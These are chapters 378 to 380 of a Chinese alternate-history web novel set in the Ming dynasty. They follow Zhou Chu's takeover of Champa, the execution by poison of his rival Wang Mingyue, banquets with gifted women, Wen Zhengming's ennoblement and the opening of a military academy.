特别是之前想出使占城的那些官员,一个个都嫉妒的红了眼,想着若是他们出使占城,这泼天的功劳或许就是他们的了。 “想什么呢?文大人能做成这件事,是因为出使的队伍之中有胡汝贞和赵孟静,你们出使,可有他们跟随。” 一旁的一个官员看到这些人的表情,忍不住嘲讽道。 这话瞬间让这些人清醒了过来。 胡宗宪和赵贞吉虽然没有入朝为官,但他们的大名文武百官却很少有不知道的。 “朕已经派出周衡器去接管占城了,准备设立爪哇布政使司,诸位觉得如何?” 嘉靖看着百官震惊的反应,内心感觉无比舒爽。 第378章 周楚抵达安南,黎椿和安南布政使的谄媚 第378章 周楚抵达安南,黎椿和安南布政使的谄媚 周楚接到嘉靖的旨意之后,马不停蹄地去了兵部,拿着嘉靖的旨意让王宪给自己点了五千兵马。 像爪哇布政使司这种地方的重要性,是远比不上大明彻底征服草原之前的大同的,大同是北方重镇,直面虎视眈眈的蒙古人,自然要驻守重兵。 但无论是安南亦或是即将成立的爪哇布政使司,对大明而言都只是边疆罢了,没什么外患之忧,驻扎军队也只是为了保证大明对他们的统治。 大明的军队号称很多,但真正去掉后勤补给部队,其实没那么多,其中边境各卫所和江南驻扎的最多,满打满算加起来能有二十万也就顶天了。 如今大同以及周边的那些卫所算是解放了出来,但相应的,随着边境线往西往北不断扩张,这些军队也要往西往北移。 实际上如今大明的边境线只会更长,加上之前收复的西藏,也要重兵驻守,防止当地地主阶级的反弹,再加上东瀛以及欧洲的用兵,实际上大明如今的兵力已经是捉襟见肘了。 王宪能给周楚调拨出来这五千兵马,已经算是拆了东墙补西墙了。 如果是多年以前,嘉靖要经过兵部调兵的话,是要先经过内阁拟票的,不过现在嘉靖可谓是大权独揽,兵权在握,其他事或许需要经过内阁,但调兵,只需要一道旨意直达兵部即可。 周楚带着这五千兵马,全部上了火车,运送这五千兵马,需要很多辆火车轮流来,现在大明的火车车头加上车厢,基本都是四节的,目前的火车都是以运货为主,坐人的火车还在赶工之中,很快就会投入使用。 不过运送军队,倒也没那么多讲究,让这些士兵全都进入车厢之中,坐在车厢里边即可。 索幸不是行军打仗,倒也不必讲究整齐划一,一辆辆火车运送倒也没什么问题。 如此乘坐火车七八日,周楚抵达了安南。 “黎椿拜见周大人。” 黎椿作为国公,按理来说这大明除了皇帝之外,没人比他的行政等级更高了,即便是周楚也只是和他平级罢了。 但周衡器这三个字,对黎椿而言可谓是如雷贯耳,之前仅用了一日不到就将他们黎朝国都攻破的女将军陆云瑾,据说用兵的本事是眼前这位周大人教出来的,如今更是嫁给了周大人,而且还是和公主的女儿一同嫁的。 对于陆云瑾,黎椿可是充满了心理阴影,这样一个女将军,居然愿意和另一个女人一起嫁给眼前这个男人,还毫无怨言,其中的含金量,黎椿已经想不明白了。 还有那率兵荡平东吁王朝,用了三个月将周围一统的两个年轻人,根据安南布政使的说法,这两人甚至还没有入仕,只是眼前这位锦衣卫指挥使的学生,之前一直跟着这位周大人打仗,想来行军打仗的本事也是跟着这位学的。 一想到这些,黎椿就很难做到和周楚平起平坐,从心底里就矮了一截。 “下官拜见周大人。” 安南布政使急忙行礼道。 “安南公不必如此客气,你我本是同级,何来拜见一说?” 周楚扶住黎椿,笑道。 黎椿听到这话,顿觉受宠若惊。 “周大人说笑了,你我虽然名义上是同级,但黎椿清楚,我和大人之间,差了十万八千里。” 黎椿恭维道。 “有劳两位在此久等了。” 周楚也懒得和黎椿客套下去,看向一旁的布政使说道。 “大人言重了,这本是下官分内之事,想必大人和将士们一路舟车劳顿,下官和国公大人备足了好酒好肉,为大人和众将士接风洗尘。” 布政使行礼道。 “如此,就有劳两位了。” 周楚听到这话,点了点头。 兵马坐着火车,虽然比拉满了货的火车要快一些,但连着坐了七八天,吃睡都在火车上,至于拉和撒,所有火车在周楚的命令下,每两个时辰会停一次,统一让车上的士兵下车解决。 即便如此,七八日下来,这五千兵马也极为疲劳了,需要在安南休整一下,再前往占城。 黎椿和安南布政使为那五千将士安排的吃的,算不上多好,只能算普通标准,但也比这些天他们吃的干粮要好了不知道多少倍,这些士兵一个个狼吞虎咽,吃饱喝足之后,周楚来到了这些人面前。 眼看周楚到来,这些人不敢怠慢,起身就要集结。 “先不必集结了,你们舟车劳顿,就在这里原地好好休整吧,安南公为你们准备了军帐,在此地修整一日,明日随本官前往占城。” 周楚摆了摆手,说道。 “是,大人。” 这些将士纷纷站起来说道。 如果是其他人,他们或许不会如此,但周楚是谁,那可是大明的军神,镇北大将军和抚远大将军都是眼前这位教出来的。 平定倭寇,荡平草原,收复西藏,一桩桩一件件,早已在大明的军队之中广为流传,大明军中的那些将士,大多数都没见过周楚,但内心却对周楚这位大明军神极为崇敬。 如今有机会跟着周大人,虽然只是短暂的,这些士兵也都与有荣焉。 周楚甚至都不要对他们如何训练,他们都能做到令行禁止。 实际上如今大明军队的素质比之前不知道好了多少,毕竟如今的大明正在蒸蒸日上,原本那些摆烂的军队,多半是因为军饷不到位,国库充盈之后,嘉靖第一时间让人将军饷发了下去,并且还特意派人去监督军饷的发放,以确保所有军饷都能到这些士兵手中。 对于之前贪墨军饷的那些人,嘉靖选择睁一只眼闭一只眼,毕竟要都彻查的话,恐怕军中会出大事,不过嘉靖也不会任由这些人继续胡作非为下去,慢慢地以各种理由和借口将这些人都调离了原职务。 这个过程可谓是温水煮青蛙,从周楚彻查大同开始,嘉靖就开始有意识的在做这件事了,到如今用了几年的时间,大明军队从上到下,基本上完成了大换血。 再加上军饷的加持,如今大明的士兵,可谓是兵精粮足,战意十足。 如此,周楚带着这五千将士在安南休整了一日,这一天黎椿和安南布政使数次让人来请周楚赴宴。 “周大人,在下特意为大人准备了一些安南的美人。” 黎椿谦卑道。 “不着急,等本官接管了占城,回来再享用不迟,不能因私废公,耽误了陛下的大事。” 周楚说道。 黎椿听到这话,顿时松了口气,最起码这位权势滔天的大人物没有拒绝的意思,这对他而言就是个好消息。 自从大明彻底收复安南之后,安南布政使司设置的地点就从原本的黎朝国都大大的往南迁移了,为的就是增加对整个东南亚的威慑力,原本的黎朝国都距离占城很远,现在却很近,周楚一行人仅仅用了两三日的时间,就抵达了占城的国都。 “小王代表占城,彻底归复大明。” 周楚抵达占城国都的时候,波劫以及文徵明还有胡宗宪等人早已等待多时,波劫来到周楚面前,做了个五体投地的动作,原本他作为占城的大王,即便是投降归复,也不必行如此大礼,跪地即可,但波劫想要表明自己对大明的忠心。 “波劫接旨。” 周楚看到波劫如此识时务,也不磨叽,直接拿出了嘉靖给自己的圣旨,说道。 “臣波劫接旨。” 波劫恭敬道。 “占城国君波劫,励精图治,为国为民,为大明立下了汗马功劳,特封波劫为爪哇公,世袭罔替,赏.....” 周楚不疾不徐地将圣旨的内容念了出来。 不管波劫心中怎么想的,他为大明立下了泼天的功劳是不争的事实,嘉靖自然要大加封赏,正所谓千金买马骨,嘉靖主要是做给其他人看的。 “臣领旨谢恩。” 波劫趴在地上,双手举过头顶,周楚将圣旨放在他手上。 至于文徵明胡宗宪等人,等他们回到大明之后,嘉靖自会封赏。 “老师,那莽家之人如今可在占城?” 周楚看向一旁的文徵明,问道。 “莽家现在的族长,正是此人,莽明川。” 文徵明指着身后的一个黑脸男人说道。 莽明川原本不是这个名字,为了表明自己归复大明的决心,特意改了个名字。 “莽家族长接旨。” 周楚拿出另外一封圣旨,说道。 “臣.....接旨....” 莽明川说着有些拗口的汉话,跪在地上。 “莽家帮助大明平定东吁王朝,抓拿逆贼莽瑞体,大功一件,然莽家毕竟有错在先,特封莽氏族长为东吁侯,赏...” 周楚继续念圣旨道。 “臣.....领旨谢恩。” 莽明川的汉话有些蹩脚,不过听得出来,倒也不是现学的,只是不常说罢了。 “老师,我们在东吁王朝还发现了一个老师意想不到的女人。” 眼看周楚宣读完了圣旨,胡宗宪有些献宝似的说道。 “女人?” 周楚听到这话,目光一凝,随即想了想。 “汪明月?” 汪明月的名字对周楚而言并不难猜,毕竟和自己作对的女人寥寥无几,倘若汪明月这个疯女人在东吁王朝的话,那么莽瑞体如此疯狂,就说得通了。 “老师真乃神机妙算。” 胡宗宪听到这话,忍不住感慨道。 “把她带过来。” 得到胡宗宪的确认之后,周楚冷笑道。 对于汪明月这个女人,周楚一直都懒得搭理,没想到这次她反而间接性的帮了自己,帮了文徵明一个大忙,甚至帮了大明一个大忙。 但对周楚而言,其心可诛! 很快,汪明月就被带了过来。 此时的汪明月披头散发,哪里还有往日的风采。 “周衡器。” 汪明月看到周楚之后,惨然一笑,明白自己完了。 “你有什么想说的吗?” 周楚看着眼前的疯女人,问道。 周楚之所以会见汪明月,就是为了从这个女人口中拿到关于夏言的一些证据,夏言此人可谓是滑不溜手,周楚很清楚,之前绑架方恒一事,背后极有可能是夏言,说不定这两人现在都还有联系。 “你是想要关于夏言的证据?” 汪明月自然知道周楚想要什么,笑道。 “没错,你想提什么条件?” 周楚倒也懒得和这个女人磨叽,直言道。 “只要给我个痛快就行,我这一生,过的极为痛苦拧巴,现如今被你抓了,或许是个解脱,以前关于夏言的证据我都没了,不过最近夏言给我写了封信,足以证明他里通外国。” 汪明月并没有提什么条件,直接说道。 这让周楚有些意外。 “那封信被我藏在了莽瑞体的住处了,莽瑞体书房之中,有一个密室.....” 汪明月如同竹筒倒豆子一般,将密室的具体开启方式一五一十的说了出来。 一旁的胡宗宪急忙记在心里。 之前他们灭了东吁王朝之后,就一直在征战,倒也没有搜过莽瑞体的住处,主要是原本不知道有这封信的存在。 汪明月之所以这么痛快,还有一个原因,当初夏言对她起了杀心,这一点汪明月从未忘记过,她从来都是一个极为记仇的女人,之前没有报复夏言,是因为她有着更大的野心需要夏言帮她。 但现在汪明月眼看自己要死了,自然不会让夏言好过。 周楚听到这些满意地点了点头,随后看向身后的沈炼。 “拿一颗效果好点的毒药。” 沈炼跟着锦衣卫之中那个专门辨毒的邵蕙一直在学毒理医理,自己也配置了不少毒药,随身就带着一些,听到这话,从腰间的香囊之中取出一个小瓷瓶,递给了周楚。 周楚接过瓷瓶,扔给了汪明月,汪明月接过瓷瓶,看了看周楚,原本还想对周楚说一些什么,但一想到眼前这个男人从未正眼看过自己,眼神瞬间黯淡了下来,直接打开瓶子,将里面的毒药一股脑倒入口中。 不得不说,沈炼拿出的这瓶毒药,毒性极强,仅仅三息,汪明月就七窍流血,毒发身亡,死状很是凄惨。 周楚看着汪明月的死相,又看了看沈炼。 “你就不能调配一些死相好看点的毒药?” 沈炼听到这话不好意思地挠了挠头,他在毒理医理上面的天赋实在一般,学了很久,也只是掌握了一些皮毛罢了,这毒药之所以这么毒,完全是因为沈炼用的药材够毒。 周楚似乎也知道这个要求有些为难沈炼了,摆了摆手。 “罢了,回头你问邵蕙要一些带在身上吧。” 沈炼听到这话,顿时松了口气。 第379章 波劫和黎椿的款待,美人在怀 第379章 波劫和黎椿的款待,美人在怀 一日之后,沈炼从原本东吁王朝的国都回来,拿回来了汪明月说的那封信。 周楚看了看信的内容,发现全是劝汪明月不要继续攻打占城,不要乱来的话,虽说也能证明夏言和东吁王朝有所勾结,却也说明不了更多问题,毕竟夏言在这封信上并没有提出任何对大明不利的事。 周楚清楚,这封信,只能作为佐证,关键时刻作为最后一根稻草,彻底压死夏言,却不能作为主要证据。 不过周楚倒也不着急,如今东吁王朝彻底覆灭了,不论夏言之前有什么谋划,也都成了泡影,如今的夏言,在内阁之中几乎没什么话语权,如今的内阁,杨一清、杨慎、张璁,不说全都是站在一条线上的,但大事上面的意见大致都是能保持一致的。 此时的周楚已经初步接手了占城以及整个安南以外的东南亚地区,并且设立了爪哇布政使司,就等朝廷任命的爪哇布政使到任,周楚就可以离开了。 波劫作为曾经占城的国君,如今的国公,对周楚极为热情,设立了丰盛的宴会,还将他原本后宫之中的美人拿出来招待周楚以及文徵明胡宗宪等人。 波劫倒是看得开,如今的他成了国公,原本后宫之中的那些女人不可能都留着,既然如此,不如借花献佛,用她们来招待周楚他们。 文徵明虽然为人正派,却也不会假正经,毕竟年轻的时候,他可是和唐伯虎并称江南四大才子,以风流闻名,虽然上了年岁,基本上不怎么去青楼了,但如今波劫用美人款待他们,文徵明自然是不会拒绝的。 周楚看着波劫后宫的这些美人,忍不住感慨,这占城位于安南以南,本地人基本都皮肤黝黑,波劫选美的标准只有一个,那就是白,白且软,波劫后宫这些美人看着都柔柔弱弱,而且说话轻声细语的,每一句话都像是在撒娇一般。 这让周楚体会到了和中原美人不一样的风情。 至于胡宗宪和赵贞吉两人,还都是初哥,这些年虽然也到了婚配的年纪了,却一直跟着周楚南征北战,闲下来的时间也在学习备考,自然没时间谈情说爱,也不急着成婚。 此时面对如此娇弱无骨的美人,两人顿时面红耳赤,不知道该如何面对。 “你们两人,带上自己喜欢的美人,回房去休息吧。” 周楚自然看出了两人的窘迫,胡宗宪和赵贞吉的窘迫,大部分原因来自于周楚这个老师,两人在自己的老师面前,自然是放不开的,作为初哥,在他人面前,也很难放得开,但到了厢房之中,和这些美人单独相处的话,那就另当别论了。 胡宗宪两人听到这话,顿时如释重负,纷纷带着美人离开了。 “周大人,下官听闻,那乌思藏的百姓都将大明皇帝陛下和周大人的画像供奉起来,日日朝拜?” 波劫看着周楚,忍不住问道。 说来也巧,大半年前波劫为了找一样宝贝,特地派了人去西藏走了一趟,当他的那些属下将西藏的所见所闻告诉波劫的时候,波劫心中是极为震撼的。 对于大明收复西藏的消息,波劫是知道的,不过在这之前,波劫一直都以为大明对西藏的统治会相对薄弱,毕竟西藏本土的喇嘛庙和地主阶级蛇鼠一窝,联合起来欺压底层百姓。 这一点波劫也是清楚的,原本在波劫看来,或许用不了多少年,等大明国力稍微变弱一些,西藏就会摆脱大明的统治。 但当他知道这个消息的时候,波劫清楚,以后乌思藏恐怕再难摆脱大明的统治了,有这些乌思藏的百姓在,他们对大明的认同感只会越来越强。 决定一个王朝能不能持续统治一个地区的,从来都不是武力,而是认同感。 周楚听到这话,点了点头。 “西藏的百姓以前过的日子太苦了,是陛下解救了他们,至于供奉陛下的画像,都是出于本心罢了。” 周楚对于西藏百姓供奉自己画像的事,只字不提。 “下官建议以后也可以让本地百姓供奉陛下和大人的画像。” 波劫谄媚道。 周楚听到这话,却是摇了摇头。 “西藏百姓愿意供奉,那是发自内心的,西藏和这里的情况不同,你们这里的百姓从来不缺粮食,没有生存的危机,不过民智大多还未开化,在你们这里,需要用其他的方法。” 周楚喝了口酒道。 “还是大人看的透彻,下官佩服。” 波劫听到这话,也就不再坚持,继续和周楚饮酒作乐。 周楚在波劫这里被款待了数日,朝廷任命的爪哇布政使终于到了。 “下官拜见周大人,见过文大人。” 此人来到占城之后,第一件事就是来拜见周楚和文徵明。 周楚看到此人点了点头。 “行了,既然你到了,本官和老师也该回大明复命了。” 周楚笑道。 “大人,这爪哇本官人生地不熟,还望大人指点一二。” 此人看着周楚,有些谄媚道。 “很简单,怀柔为主,最好是从大明找来一些教书的夫子,在这里兴办学堂,如此一来,爪哇的百姓对大明的认同感就会越来越强,这些兵马交给你,至于波劫原本的那些军队,你也可以全都编入军中,毕竟爪哇太大,几千兵马是有点困难。” 周楚说道。 “大人英明,多谢大人指点。” 布政使恭敬行礼道。 周楚点了点头,大致的方向周楚已经为此人点明了,倘若接下来还不知道怎么办,此人也不会被嘉靖任命为爪哇布政使了。 无论是爪哇布政使亦或是安南布政使,都算是封疆大吏了,更何况这种偏远地区的布政使,权力更是极大。 正所谓天高皇帝远,这要是没通火车的时候,恐怕要不了多久,此人就会成为这里的土皇帝。 周楚听到这话,点了点头,随后看向了文徵明。 “老师我等也该回大明了,此次老师为大明立下了大功,想来封侯是少不了的。” 周楚笑道。 嘉靖登基之前,除了那些皇亲国戚,亦或是皇后的家眷之外,已经很少有人被封侯了。 但此时的大明可不是之前的大明,如今的大明春秋鼎盛,强于大明任何一个时期,版图已经超越了盛唐,想要让人开疆拓土,封侯无疑是最好的选择。 将来的大明,还会有很多人会被封侯,这一点,无论是周楚还是嘉靖都很清楚。 “这些都是汝贞和孟静的的功劳,老夫可不敢贪他们的功劳。” 文徵明摆了摆手道。 “老师不必谦虚,他们两人的功劳,陛下会另行赏赐,他们两人做的,换成其他人,也是可以做的,来之前,学生就替他们做好了详尽的规划,能有如今的局面,全靠老师主持大局,倘若没有老师孤身涉险,也不会有如今的局面。” 周楚说道。 对于胡宗宪和赵贞吉,周楚的态度又有所不同,对于林鹿,周楚不吝夸赞,因为林鹿一直都是极为谦逊的一个人,甚至对自己的能力有些认知不足,觉得自己能有今天的功劳全靠周楚。 林鹿这种人,周楚不怕他飘飘然,行军打仗,最忌讳的便是没有信心,没有信心,就打不出硬仗。 但信心太盛也不好,骄纵如蓝玉,带兵打仗的本事不是没有,但骄纵至此,皇帝如何容得下他? 如今的胡宗宪和赵贞吉太过年轻,又从未打过败仗,周楚不适时敲打一下的话,两人的尾巴恐怕会翘上天。 果然,胡宗宪两人听到这话,收敛了神情,来到文徵明面前行礼。 “大人,老师说得对,我二人不过是在执行老师的战略规划罢了,没有大人,我二人也无用武之地。” 胡宗宪恭敬道。 自宋朝以来,基本上都是文官指挥武将,宋朝和明朝不同的地方在于,宋朝几乎全是外行指挥内行打仗,而且宋朝的文官是最舒服的,哪怕瞎指挥,打了败仗,文官一点责任没有,甚至还可能继续高升。 这也导致了宋朝那些文官指挥武将打仗的时候,大多数都很抽象。 大明则不同,大明虽说也是文官指挥武将,像原本历史上的胡宗宪便是如此,胡宗宪以文官的身份指挥戚继光俞大猷抗倭,功劳大多数都是算在胡宗宪身上的。 所以对于功劳的分配,胡宗宪两人是完全没有意见的,按照大明的惯例,向来如此。 “先回安南吧,安南公还准备了美人招待你们。” 周楚看着胡宗宪两人,调侃道。 胡宗宪和赵贞吉这些天被波劫的那些美人缠的有些乐不思蜀,毕竟是第一次体会这种感觉,自然是食髓知味,听到周楚调侃的话,两人都有些不好意思。 倒是文徵明,无比淡定,他年轻的时候是吃过见过的,更何况到了他这个年龄,大多时候也就能过过眼瘾手瘾了,定力不知道比胡宗宪两人强了多少。 众人回到安南布政使司的时候,黎椿和安南布政使早就得到了风声,提前备好了宴席和美人,就等着周楚等人了,周楚几人又在安南逗留了三日,这才坐上火车,启程回京。 这次回大明的队伍,以文徵明为首,毕竟文徵明是首功,更何况周楚本身就是文徵明的学生,不会去抢他的风头。 众人刚来到京城之外,就看到了嘉靖带着文武百官在京城之外迎接,文徵明急忙上前行礼。 “臣文壁拜见陛下。” 嘉靖急忙扶住文徵明。 “爱卿此一去南洋,为我大明立下了不世功勋,如今南洋尽入我大明版图之中,爱卿可谓是居功至伟。” 嘉靖高声道。 如果按照文徵明原本的性子,听到这话,肯定会第一时间推辞,说都是胡宗宪和赵贞吉的功劳,并且为两人请功。 但路上周楚特意和文徵明说了,让他千万不要为胡宗宪和赵贞吉请功,胡宗宪两人的功劳,嘉靖是清楚的,皇帝可以封赏他们,但文徵明为他们请功,那胡宗宪两人到底应该是感激文徵明,还是感激嘉靖? 文徵明替他们请功,无疑是替皇帝收买人心,这不是皇帝想要看到的。 “全赖陛下英明神武,全赖我大明强盛,臣背靠大明,才有如此底气。” 文徵明恭敬道。 嘉靖听到这话,顿感神清气爽。 要是一般人拍他的马屁,嘉靖倒不会这么爽,但说这话的是文徵明,文徵明之前在京城的时候,可是出了名的直臣,从不会拐弯抹角,文徵明这么说,那就意味着他是这么想的。 “文徵明听封。” 嘉靖说道。 文徵明听到这话,急忙跪倒在嘉靖面前。 “文徵明为大明彻底收复东吁王朝,以及南洋其他地区,居功至伟,朕特封文徵明为定南侯,赏.....” 嘉靖对文徵明不可谓不大方,或者说嘉靖把原本想要赏赐给周楚的东西,都给了周楚的这位老师,后面那些无比丰厚的赏赐,听的嘉靖身后的那些官员一个个眼睛都红了。 不过眼红归眼红,却没人提出异议。 毕竟文徵明为大明立下了如此大的功劳,说是一人荡平了南洋,也不为过,这种功劳,封个国公都说得过去。 不过像杨一清等人,都清楚,文徵明之所以能立下这样的功劳,胡宗宪和赵贞吉起到了至关重要的作用,这两人背后是周楚,要说他们出发之前,周衡器没有为他们制定战略规划,杨一清等人是不信的。 要知道当初抚远大将军林稚心,无论是荡平奴儿干都司附近,亦或是覆灭叶尔羌汗国,背后都是周楚为他铺好了路,制定好了战略规划。 要论战略,杨一清认为如今的大明,甚至纵观有明一朝,也就洪武皇帝能和周衡器在一个档位了。 所以对于嘉靖对文徵明只是封侯,杨一清等一众大佬并不意外。 文徵明更是没有任何意见。 “臣领旨谢恩。” 文徵明磕头谢恩道。 “胡汝贞赵孟静听旨。” 封赏完文徵明之后,嘉靖看向了胡宗宪和赵贞吉。 第380章 唐伯虎和文徵明,军事学院竣工 “你二人平定南洋有功,赏黄金千两,白银万两.....” 嘉靖说了一连串的赏赐。 “你二人的军功,暂且记着,等你二人入仕之后一起封赏,倘若你们想直接入朝为官,朕可以特许你二人不经科举,直接入翰林院。” 嘉靖看着两人说道。 即便嘉靖是皇帝,这种事还是要征求两人的意见的,入朝为官,出身很重要,朝中有些是秀才被举荐入仕的,如文徵明。 一般这种官员,在朝中都是低人一等的,别人说起来,就会说你一个秀才出身的,自然就矮人一头。 但倘若胡宗宪两人以秀才入仕的话,将来别人提起他们的出身,就会说他们行伍出身,要么就是秀才出身,自然就低人一头。 对于这一点,嘉靖自然是清楚的,所以要征求两人的意见。 胡宗宪和赵贞吉听到这话,对视了一眼。 “多谢陛下恩赐,不过我们还是想通过科举,正式入仕。” 胡宗宪两人恭敬道。 无论是胡宗宪还是赵贞吉,都还很年轻,有的是时间,他们现在累积了无数军功,可谓厚积薄发,一旦正式入仕,肯定会青云直上。 一旁的周楚听到这话,心中忍不住有些感慨,原本历史上的胡宗宪,四十多岁在宦海浮沉了近二十年之后,自觉蹉跎岁月,有种时不我待的感觉,最终加入了严党,选择同流合污,这才被嘉靖委以重任。 虽说后来胡宗宪带领戚继光俞大猷等人剿倭有功,却也毁誉参半。 周楚在不知不觉间,改变了胡宗宪的命运。 “如此也好,你们还都年轻,有的是时间。” 嘉靖看着胡宗宪两人,点了点头道。 如今的胡宗宪也才十七岁,赵贞吉比胡宗宪大四岁,两人如今都是秀才,两人本身就很有才华,论行军打仗,胡宗宪稍微比赵贞吉强一些。 但要论科举,赵贞吉就比胡宗宪强的不止一点半点。 赵贞吉自幼早慧,倘若不是这几年大多数时间都在跟着周楚南征北战,赵贞吉如今恐怕已经是个举人了。 科举于赵贞吉而言,毫无难度。 嘉靖说完这话,带领百官迎接文徵明等人进京。 这次来的官员极多,翰林院坐馆的那些官员也都来了,周楚甚至看到了一个熟悉的身影,徐阶。 徐阶在五年前高中,次年徐阶的父亲去世,徐阶回乡丁忧,去年才返京,重入翰林院。 如今的徐阶,内心再也没了之前的傲气,原本在江南的时候,面对周楚,徐阶内心还是有些傲气的,毕竟他自负才华,觉得周楚这个锦衣卫指挥使不过是靠着皇帝的关系才能到如此高位。 但真正入仕之后,徐阶发现根本不是那么回事,这么多年,周楚做的一桩桩一件件的事,哪怕单拿出一件来,都够一般的官员奋斗终生了,但这位定国公做了不知道多少件。 别说周楚了,单单以前跟在周楚手下的,如镇北大将军,如抚远大将军,又比如眼前的胡汝贞和赵孟静。 单单是这些人,徐阶面对他们的时候,都有一种深深地挫败感。 如今的胡宗宪和赵贞吉虽然还未入仕,但所有人都清楚,这两人一旦入仕,就会一飞冲天。 原本徐阶是骄傲的,他自认在同龄人之中,一直都是佼佼者,但无论是胡宗宪还是赵贞吉,都比他年轻很多,胡宗宪甚至比他小了近十岁。 这让如今才二十六的徐阶生出一种长江后浪推前浪的挫败感,关键是他这个前浪甚至还没做出什么事,如今还在翰林院坐馆。 现在的徐阶,面对周楚,早已不敢像原本那般,淡定从容,甚至都不敢直视周楚。 没入仕之前,徐阶觉得这位锦衣卫指挥使也就那样,入仕之后,徐阶才发现,自己和周楚之间的差距,比底层百姓和他之间的差距还大。 回到京城之后,嘉靖和文武百官对文徵明又是一顿吹捧,随后各自散去。 文徵明入仕之后没多久,周楚就在京城给他置办了一处三进的宅子。 周楚很清楚,三进的最合适,不张扬,符和文徵明的气质,更何况再大一些的宅子送出去,对文徵明就是一种负担了,人和人之间的关系,很难说得清,倘若一个人欠另一个人太多,两人的关系并不会太好。 反而是那种什么都不欠的关系,最为轻松自在。 所以后来文徵明领了俸禄,坚持要还给周楚买宅子的钱的时候,周楚并没有拒绝。 如今文徵明这三进的宅子,可不像以往那般冷清,皇帝的赏赐的财物一箱箱被抬了进来,还有无数来送拜帖的,都快踏破文府的门槛了。 唐伯虎连拜帖都懒得递,直接来到了文府,看到文徵明一脸春风得意的模样,满脸酸意。 “你小子还有封侯的命?” 唐伯虎有些阴阳怪气道。 不怪唐伯虎如此,他这一生,实在是命途多舛,和自己一比,文徵明这老小子虽然在科举上面一直受挫,但人生方面可谓是一帆风顺。 倘若只是如此的话,唐伯虎倒也不会嫉妒,哪怕是文徵明被举荐入仕,唐伯虎最多是羡慕。 但现在自己这个多年的兄弟,突然被封侯了,这让唐伯虎心中很不是滋味,很是嫉妒,说话自然阴阳怪气了些。 “多亏了衡器谋划,还有胡汝贞和赵贞吉,我不过是运气好罢了。” 文徵明看着唐伯虎,凡尔赛道。 文徵明不这么说还好,这么一说,唐伯虎顿时有些咬牙切齿了。 “也不知道你个老小子走了什么狗屎运。” 唐伯虎鼻子都气歪了。 如果是其他人,此时恐怕已经开始嘲讽起了唐伯虎,但文徵明不同,他太清楚唐伯虎一生有多坎坷了,所以他从不拿唐伯虎的过往说事。 “你若想的话,现在入仕还来得及,如今大明正在扩张,以后有的是立功的机会。” 文徵明认真道。 他是真的希望自己的这个老伙计能圆了梦。 唐伯虎听到这话,想了想,随即叹了口气。 “罢了,我的心气早已磨没了,不如将这个机会留给水生吧,我老了,衡器说过,水生不止丹青上的造诣是顶尖的,军事天赋更是非同一般,这点倒是和云瑾那丫头有点像。” 水生是徐渭的乳名,唐伯虎找人给徐渭算过命,算出他命中缺水,这才给他取了这么一个乳名。 如今徐渭已经八岁了,丹青上的天赋可谓是顶尖中的顶尖,即便是唐伯虎都自愧不如,军事上的天赋更不必多说,原本历史上的徐渭就是胡宗宪的幕僚,胡宗宪就是靠他出谋划策才能荡平东南沿海的倭寇。 “陛下弄的那个军事学院,已经建好了,衡器说了,回头让水生进军事学院,好好学一学兵法。” 一提到徐渭,唐伯虎言语之间就忍不住有些骄傲。 “你的命真好啊,有衡器这个学生,又有水生这个儿子。” 文徵明一脸羡慕道。 “说的什么屁话?衡器不是你的学生了?” 唐伯虎瞪了文徵明一眼道。 文徵明听到这话,悻悻一笑。 此时的周楚则和云瑾还有林瑶温存,正所谓小别胜新婚,周楚这次离京近一个月的时间,云瑾和林瑶可谓是望眼欲穿。 不过也只是温存罢了,周楚倒也不敢胡来,云瑾在三个月之前有了身孕,林瑶两个月之前也有了。 “军事学院半个月之前已经竣工了,只是我这大着肚子,也不好去上课。” 云瑾有些遗憾道。 “不着急,等你把孩子生下来再去,以后学院每年都会招收新的学生,有的是时间。” 周楚笑道。 “老爷,我突然感觉自己好没用啊。” 林瑶叹了口气道。 林瑶为何说这话,周楚自然清楚,和周楚云瑾在一起久了,林瑶愈发觉得自己没什么本事,似乎什么都不会,什么都做不好。 “什么叫有用?” 周楚看着林瑶,调侃道。 “像云瑾妹妹,武能带兵打仗,文有一手登峰造极的丹青。” 林瑶想了想,说道。 周楚却是摇了摇头。 “每个人都有适合自己的路要走,你看自己喜欢什么就做什么,喜欢执掌中馈,以后家里就给你打理,喜欢其他的,也都可以去学,不用想着有用没用,无用之用,方为大用。” 周楚摸了摸林瑶的头,说道。 “是啊姐姐,当初我跟着老师学画画,也没想着将来有什么用,只是因为喜欢罢了。” 云瑾附和道。 她们俩都是正室,不分大小,不过林瑶比云瑾大不少,所以以姐姐自居。 三人正说着话,听到了敲门声。 “老爷,黄公公来了。” 说话的正是春兰,她口中的黄公公,自然没有他人,正是黄锦。 云瑾和林瑶听到这话,纷纷帮周楚整理了一下有些凌乱的衣服,周楚起身离开了厢房,来到了后院的大厅之中,见到了黄锦。 “黄公公,你来的正好,这次本官去南洋,带回来不少顶级的翡翠,这件翡翠的金蝉,无论是做工还是材质,都是顶尖的,是本官专门为黄公公带回来的。” 周楚说着拿出一件翡翠的金蝉。 如今翡翠和玉相比,并没有那么值钱,一般的翡翠根本没什么人要,周楚去安南和占城的时候,发现那里的人甚至会用普通的翡翠铺路。 不过最顶级的帝王绿,特别是玻璃种帝王绿,更是帝王绿之中最顶级的存在,即便是在现如今,价值也非同一般。 周楚拿出的这个金蝉,正是玻璃种帝王绿,那通透的色泽,让黄锦眼睛都挪不开了。 “周大人能记挂着咱家,咱家真是三生有幸。” 黄锦很是感动道。 说完这话,黄锦正了正神色。 “陛下让周大人进宫一趟,商议一下军事学院第一批学员的事,这一个月,那些达官贵人一听说陛下要开军事学院,还是大人您在里面执教,全都疯了,都恨不得把自家的送到军事学院之中,一个个想尽了办法往陛下面前递折子。” 黄锦说道。 周楚听到这话,将金蝉递给了黄锦。 “本官这就随公公进宫。” 黄锦倒也没推辞,他本就是个实诚人,明白周楚不缺钱,也不缺物件,自己以后多帮周大人办点事说说话,比什么都强。 很快,周楚跟着黄锦来到了御书房之中。 “衡器,你快看看,这些天朕头都大了,这么多折子,都是想把自家的子孙送进军事学院的,朕也不知道如何筛选。” 嘉靖有些头疼道。 “陛下,可曾统计出名单?” 周楚问道。 嘉靖听到这话,拿出一个册子,递给了周楚。 “这是朕让黄锦统计出来的名单。” 周楚接过册子,打开看了看,发现上面写的很详尽,谁叫什么名字,是谁家的,排行第几。 不得不说,黄锦的工作做得很细致。 看了一眼册子,周楚发现了其中的问题,这上面大多是都是一些嫡次子,或者干脆是庶子,嫡长子也有,但只是少数。 